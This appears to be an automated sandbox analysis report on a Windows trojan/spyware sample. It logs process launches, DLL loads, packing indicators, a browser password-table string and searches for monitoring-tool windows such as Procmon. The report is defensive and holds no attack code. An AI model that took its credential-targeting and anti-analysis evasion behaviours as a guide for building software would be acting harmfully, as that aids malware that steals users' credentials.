Source: JpzbUfhXi0.exe, 00000000.00000003.2296789462.00000000065D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2301527307.00000000065E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303161763.00000000065E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2335182102.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2294840230.00000000065E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2301655262.00000000066C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300764021.00000000065E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302019034.00000000065D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302911729.00000000065DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302652914.00000000065E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298025210.00000000065D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2296559814.00000000065E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298995220.0000000006761000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2299959202.00000000066AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2305777419.00000000065DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2294579142.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2307119345.0000000006843000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2308111693.0000000006725000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298802899.00000000066A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298444518.0000000006690000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2297455751.00000000065D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2304351370.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2297282429.0000000006693000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2307268920.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298699171.00000000065D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2295965326.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2309052824.000000000671A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2296198910.0000000006039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2306680383.000000000682B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302528452.00000000067C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2306974928.0000000006712000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2306414842.00000000065DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2301298772.00000000066B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303037337.00000000066E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2307930402.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2297905140.000000000668D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302268526.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2297668944.000000000668D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2296682205.000000000667D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2294219556.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300412240.00000000065D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2306560227.0000000006700000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2309374435.00000000065E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2304686492.00000000065DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2308585659.00000000065DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303937691.00000000066EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2307430580.0000000006708000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2305007278.0000000006800000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2301787556.00000000065D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2304825510.00000000066E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2294219556.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2301893944.00000000066CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2299490134.00000000065DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298282994.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2296082716.000000000667E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2301425144.00000000067A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300078694.0000000006784000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302142106.00000000066C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2309206613.000000000685C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298589448.0000000006747000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2296919447.0000000006684000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2308745234.000000000671A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2298158688.0000000006694000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe

Source: JpzbUfhXi0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: JpzbUfhXi0.exe

Static PE information: Section: ZLIB complexity 0.9995787377450981

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/67@7/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: JpzbUfhXi0.exe, 00000000.00000003.2083562932.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2107066230.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2107066230.0000000005DCE000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083468966.0000000005D57000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: JpzbUfhXi0.exe

ReversingLabs: Detection: 55%

Source: JpzbUfhXi0.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: JpzbUfhXi0.exe	String found in binary or memory: 4RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeS

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

File read: C:\Users\user\Desktop\JpzbUfhXi0.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\JpzbUfhXi0.exe "C:\Users\user\Desktop\JpzbUfhXi0.exe"
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1984,i,7879018632765314045,4288442333938110283,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2044,i,2575849442464606612,9070405180139745896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1984,i,7879018632765314045,4288442333938110283,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2044,i,2575849442464606612,9070405180139745896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: JpzbUfhXi0.exe

Static file information: File size 2895872 > 1048576

Source: JpzbUfhXi0.exe

Static PE information: Raw size of ujmaiaqf is bigger than: 0x100000 < 0x299200

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: JpzbUfhXi0.exe, 00000000.00000002.2440141836.00000000066D2000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

Unpacked PE file: 0.2.JpzbUfhXi0.exe.50000.0.unpack :EW;.rsrc :W;.idata :W;ujmaiaqf:EW;ksykldfr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ujmaiaqf:EW;ksykldfr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: JpzbUfhXi0.exe

Static PE information: real checksum: 0x2cb2ef should be: 0x2c7023

Source: JpzbUfhXi0.exe	Static PE information: section name:
Source: JpzbUfhXi0.exe	Static PE information: section name: .rsrc
Source: JpzbUfhXi0.exe	Static PE information: section name: .idata
Source: JpzbUfhXi0.exe	Static PE information: section name: ujmaiaqf
Source: JpzbUfhXi0.exe	Static PE information: section name: ksykldfr
Source: JpzbUfhXi0.exe	Static PE information: section name: .taggant

Source: JpzbUfhXi0.exe

Static PE information: section name: entropy: 7.980797413931245

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Window searched: window name: FilemonClass	Jump to behavior
